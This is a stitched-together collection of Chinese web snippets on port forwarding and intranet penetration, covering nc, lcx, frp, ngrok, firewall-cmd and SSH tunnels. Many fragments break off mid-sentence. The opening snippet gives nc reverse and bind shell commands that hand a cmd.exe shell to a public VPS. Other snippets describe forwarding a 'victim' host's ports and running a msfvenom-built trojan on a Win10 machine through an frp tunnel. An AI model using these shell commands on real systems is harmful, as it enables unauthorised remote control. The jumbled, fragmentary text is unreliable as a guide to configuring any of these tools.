工具使用 反向连接 场景概述: A主机外网 无法访问B内网机器 B内网机器 可以访问A外网机器 A:103.45.99.224(公网vps) ? ? B: 10.211.55.4(内网机器) ? ? B:内网执行 Nc.exe 103.45.99.224 8787 ? ? 此时A主机公网vps就会收到B内网主机的cmd ? ? 正向连接 场景概述: A内网 可以访问 外网B B外网 不能访问 内网A 在外网B主机上执行nc -l -p 5555 -e cmd.exe ? ? 随后在内网A上执行nc –nvv 103.45.99.224 5555 ? ? 注:如果客户端【相当于内网】连接服务器【相当于外网】,想获取服务器的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想获取客户端的shell,那么称为反向shell,另外有关于nc在
在渗透测试过程中,我们经常会用到端口转发,利用代理脚本将内网的流量代理到本地进行访问,这样极大的方便了我们对内网进行横向渗透。 在没有端口转发的情况下外网主机是不能直接连接内网主机的,但是lcx工具可以将内网主机(出入内网主机的需要能够ping通互联网)的某个端口抓发到外网的某个端口上面,这样的话处于外网的主机可以将映射到外网的端口再反弹到另一个外网的端口上面 故内网已经打通,说实话lcx的工具如同在路由器上面做了端口转发。 ? 127.0.0.1:1234; reDuh端口转发 reDuh也是一款内网渗透利器,这个工具可以把内网服务器的端口通过http/https隧道转发到本机,形成一个连通回路。 用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。
工具介绍 Lcx是一个端口转发工具,有windows版和linux两个版本(linux版本名为protmap) 前期准备: 公网主机vps:103.45.99.224 受害机内网ip:127.0.0.1 工具使用 Windows 内网主机上执行:lcx.exe -slave <vps公网ip><vps公网端口><内网ip><内网端口> 例: 将内网主机(10.211.55.3)的3389端口转发到公网主机 公网主机上执行:lcx.exe -listen 9898 8989 将本机9898端口的流量转发到8989端口上 ? ? 公网vps尝试访问8989端口 ? ? Linux 内网主机上执行: . /portmap -m 3 -h1 <内网主机ip> -p1 <内网主机端口> -h2 <公网主机ip>-p2 <公网主机端口> 例: 将内网主机(172.17.0.13)的22端口转发到公网主机(103.45.99.224 )的9898端口 ?
工具介绍 Frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。 = admin #HTTP代理端口 vhost_http_port = 10080 #HTTPS代理端口 vhost_https_port = 10443 然后运行. 客户端 随后配置客户端编辑客户端配置文件 #服务器地址 server_addr = x.x.x.x #服务器绑定端口 server_port = 7000 #服务器连接密码 token = 12345678 #服务名称(自定义) [ssh] #转发协议类型 type = tcp #本地地址 local_ip = 127.0.0.1 #本地端口 local_port = 22 #远程端口 remote_port 此时frp隧道已经建立成功,可以通过访问vps的ip:7001就相当于访问了本地的22端口
点击上方“蓝字”关注我们 Frp实现端口转发内网穿透 准备工作 1.1 frp是什么 简单地说,frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务,它支持HTTP “local_port”是本地应用的端口号,按照实际应用工作在本机的端口号填写即可。 “remote_port”是该条规则在服务端开放的端口号,自己填写并记录即可。 四、Metasploit渗透windows测试 4.1环境 内网kali攻击机 公网vps 链接手机热点的win10电脑 4.2 msfvenom制作Windows木马程序 由于只是测试frp反向代理+ 内网穿透+ Metasploit渗透windows,所以这里不提及免杀并且关闭防护软件。 ,与frpc中的local_port一致 4.4Windows端运行木马 Windows端运行木马,kali端发现win10主机上线成功,控制win10 至此, 反向代理+内网穿透+ Metasploit
工具 Frp是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。 修改成服务端Ip server_addr = x.x.x.x server_port = 7000 [rdp] type = tcp local_ip = 127.0.0.1 # 修改成RDP协议的端口
端口映射:端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口,提供相应的服务。 当用户访问外网IP的这个端口时,服务器自动将请求映射到对应局域网内部的机器上。比如,我们在内网中有一台Web服务器,但是外网中的用户是没有办法直接访问该服务器的。 于是我们可以在路由器上设置一个端口映射,只要外网用户访问路由器ip的80端口,那么路由器会把自动把流量转到内网Web服务器的80端口上。 在这过程中,路由器充当了一个反向代理的作用,他保护了内网中主机的安全 端口转发:端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法。 这就要我们的ip地址和路由器的端口进行绑定了,这时,在路由器中就会有一个内网ip和路由器端口对应的一张表。
############################################################# 通过nmap端口扫描获取开放的端口,以达到内网体检的目的 ########## 2、nmap对这个主机列表进行端口扫描 # 注意:刚开始没显式指定端口范围,发现例如27017这些端口都没扫描出来,后来就加了-p 1-65535参数,但是发现扫描特别慢,慎重考虑。 22/tcp open ssh Nmap scan report for node3 (192.168.2.13) 22/tcp open ssh 3、每天执行一次下面的这个脚本,获取最新的开放的端口 ,并比对旧的数据,发现端口异动就自动报警。 4、如果确定当前端口是正常流程修改的,可以更新端口列表模板 cp /tmp/list_$(date +%F) /tmp/list 基本上完成这几步骤,就差不多了,还有很多不完善的地方,等想到了在补充进来
FRP内网穿透应用场景:本地Web服务外网访问、本地开发微信、本地联调支付宝\微信支付、TCP/UDP端口转发 在本机开发好的网站想让客户测试不在需要上传到服务器上面,使用FRP内外网穿透轻松解决;微信开发也不需要在上传到服务器 ,使用免费FRP内网穿透服务器帮您解决80端口问题,实现微信服务器直接访问到您本机web服务。 使用frp作为内网穿透的时候,有时候,我们需要多个端口穿透,怎么配置呢? FRP内内网穿透应用场景 思考: 我们知道frp要想内网穿透,需要配置服务端和客户端。 可以直接执行以下命令,来重启frp systemctl restart frps 扩展:《 Centos7下Frp服务端后台运行以及开机自启(Frp客户端同理)》 。 在Proxies菜单下,点击TCP,可以看到对应的端口。如下图所示: frp管理界面查看启动的三个不同端口
使用frp作为内网穿透的时候,有时候,我们需要多个端口穿透,怎么配置呢? 思考: 我们知道frp要想内网穿透,需要配置服务端和客户端。如果需要直接访问80端口的话,需要还需要在nginx做配置。 #端口8079是博客管理后台的项目 [tcp_blog-admin] type = tcp local_port = 8079 listen_port = 8079 #端口8080是博客前台项目访问地址 可以直接执行以下命令,来重启frp systemctl restart frps 扩展: Centos7下Frp服务端后台运行以及开机自启(Frp客户端同理) 。 $ { expires 1d; } } # 端口8082映射到80端口 server { listen 80; server_name app3.nnn.com 在Proxies菜单下,点击TCP,可以看到对应的端口。如下图所示:
项目介绍 Fuso是一款体积小,快速, 稳定, 高效, 轻量的内网穿透, 端口转发工具,支持多连接,级联代理,传输加密 项目特性 ✔ 项目使用 Step 1:下载解压得到 fus,fuc两个程序, 将fus 如下图,则表示客户端启动成功(备注:默认情况下,将转发到127.0.0.1:80, 访问端口将随机分配) Step 4:此时访问127.0.0.1:60974即可, 注意: 你的80端口必须有服务在运行 端口转发 fuc --forward-host xxx.xxx.xxx.xxx --forward-port --forward-host: 转发到的地址 --forward-port: 转发到的端口 如: 转发流量到内网 10.10.10.4:3389 > fuc --forward-host 10.10.10.4 --forward-port 3389 2. socks5: fuc 指定穿透成功时访问的端口 fuc -b xxxx -b | --visit-bind-port: 可选的, 默认随机分配 如: 访问外网端口 8888 转发到内网 80 > fuc
centos 7 firewall(防火墙)开放端口/删除端口/查看端口 1.firewall的基本启动/停止/重启命令 #centos7启动防火墙 systemctl start firewalld.service #centos7停止防火墙/关闭防火墙 systemctl stop firewalld.service #centos7重启防火墙 systemctl restart firewalld.service 其他PC telnet开放的端口必须保证本地 telnet 127.0.0.1 端口号 能通。本地不通不一定是防火墙的问题。 查看本机已经启用的监听端口: #centos7以下使用netstat -ant,7使用ss ss -ant 3.查看 #centos7查看防火墙所有信息 firewall-cmd --list-all #centos7查看防火墙开放的端口信息 firewall-cmd --list-ports 4.删除 #删除 firewall-cmd --zone=public --remove-port=
开放TCP端口 firewall-cmd --zone=public --add-port=80/tcp --permanent # 开放tcp80端口 firewall-cmd --zone=public # 开放tcp3306端口 firewall-cmd --zone=public --add-port=6379/tcp --permanent # 开放tcp6379端口 开放UDP端口 firewall-cmd 端口 firewall-cmd --zone=public --remove-port=3306/tcp --permanent #关闭tcp3306端口 firewall-cmd --zone=public --remove-port=6379/tcp --permanent #关闭tcp6379端口 关闭UDP端口 firewall-cmd --zone=public --remove-port=9595 /udp--permanent #关闭udp9595端口 配置生效 firewall-cmd --reload # 配置立即生效 查看防火墙所有开放的端口 firewall-cmd --zone=
内网穿透的技术有很多,常用的方法有: ssh/autossh ngfork frp (本文将介绍该方法) github地址:https://github.com/fatedier/frp frp为传统的 C/S结构,可分为客户端和服务端,其中 frpc(客户端) 运行在内网环境 frps(服务端)运行在有公网IP的服务器 image.png 编写frpc.ini文件,例如: [common] server_addr = 公网IP server_port = frps运行的端口 token = 一串随机字符用来防止未经授权的使用 [appName] type = tcp local_ip = 127.0.0.1 local_port = 需要映射的本地端口 remote_port = 映射成公网服务器的端口 服务器端frps.ini就更简单了 [common] bind_port = 服务端运行的端口 )把本机的80端口映射成了38888端口,则链路如下 192.168.1.5:80 <-> 1.2.3.4:34567 <-> 1.2.3.4:38888 提高映射服务可靠性 请使用supervisor
内网穿透能干嘛: 穿透后,你的机器指定端口就直接暴露在外网上,3389,vnc,web服务等等任何服务都可以支持。微信开发需要回调web服务器接口,如果开发机器在内网,就无法调试。 原理 外网服务器A,内网服务器B,通过某种协议连接,将域名解析到A,A将所有用户请求数据转发到B的指定端口,B返回的数据通过A转给用户,等于在B和用户之间加了代理A 解决方案 内网穿透有现成的商业解决方案 今天我们讨论的是在自己的VPS上架设ngrok服务,访问内网的web服务,场景是这台vps上同时开了着web服务(nginx),所以不能直接将80端口作为ngrok的转发端口, ngrok配置成功后,需要在 ,https 444端口,所有访问到外网服务器8888和444端口的数据都会经过ngrok处理转发。 可以把上面的命令加到/etc/rc.local,实现开机自启动 #####7、启动客户端 将第5步生成的客户端下载到mac电脑上,假设放到/Users/xxx/ngrok目录下.
公网和内网的地址映射关系 Holer Access Key Domain Name Internet Address Local Address HOLER_CLIENT-2F8D8B78B3C2A0AE HOLER_CLIENT-3C07CDFD1BF99BF2 holer65531.wdom.net holer.org:65531 127.0.0.1:8088 HOLER_CLIENT-2A623FCB6E2A7D1D 6060、600以及端口映射规则所涉及的端口; (6) 建议申请域名并且完成域名备案,如果没有域名可以直接使用IP和端口访问。 创建端口映射 2.3.1. 创建客户端和端口映射 在用户列表页面中创建一个Holer客户端 http://holer.your-domain.com/view/holer-client.html [Holer Client] 在端口映射页面中为该
rhel7在安全上考虑的比较细,规则设计比较严密。列出关键修改步骤,针对SSH调整实验工作记录。 1.修改SSH配置文件 vi /etc/ssh/sshd_config 修改端口,禁止root登录,添加限制用户 Port 2345 PermitRootLogin no AllowUsers gino 2.修改iptables vi /etc/sysconfig/iptables 复制22端口ACCEPT规则 -A INPUT -m state --state NEW -m tcp -p tcp - context进行修改 semanage port -a -t ssh_port_t -p tcp 2345 4.重启SSH服务 /etc/init.d/sshd restart 此时SSH服务已经迁移到2345端口 /usr/sbin/semanage 然后进行安装 yum -y install policycoreutils-python 2.semanage使用 针对prot context,例如查看ssh端口情况
本文个人博客地址:https://www.leafage.top/postdetail/21525BRK1 redis等服务启动后,外网默认是无法访问的,因为防火墙不允许,所以要开启防火墙,让其可以访问这些端口号 执行如下命令命令: firewall-cmd –zone=public –add-port=6379/tcp –permanent 3、重启防火墙,运行命令: firewall-cmd –reload 4、查看端口号是否开启 dport xxx -j ACCEPT 2、在运行这个命令: -A INPUT -j REJECT –reject-with icmp-host-prohibited 注:xxx ——表示你要开启的端口号
这里以把22端口更改为2200端口举例,如需要更改其他端口,自行把2200换成其他数字 1、打开配置文件 vi /etc/ssh/sshd_config 2、添加需要更改的端口 2.1输入第一个命令,会出现如下画面 然后点击键盘 Esc 键,接着英文模式输入键盘 :wq 键,之后点击回车,就会保存并退出 3、重启SSH服务 systemctl restart sshd.service 3、防火墙放开添加的端口 让其可以远程访问,输入以下命令 firewall-cmd --zone=public --add-port=2200/tcp --permanent firewall-cmd --reload 4、以2200端口访问 SSH,看是否可以正确访问,如果可以正确访问,进行第5步,如果不可以正确访问,排查1-3步,仍不可以访问,百度其他教程 5、删除之前的22端口,仅2200访问SSH 5.1打开配置文件 vi /etc/
本文主要记录 ssh 隧道使用 来进行内网穿透。使用 sockv5, 其效果和 ss 一样;仅仅使用ssh,putty 就能做到。 -L port:host:hostport 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口.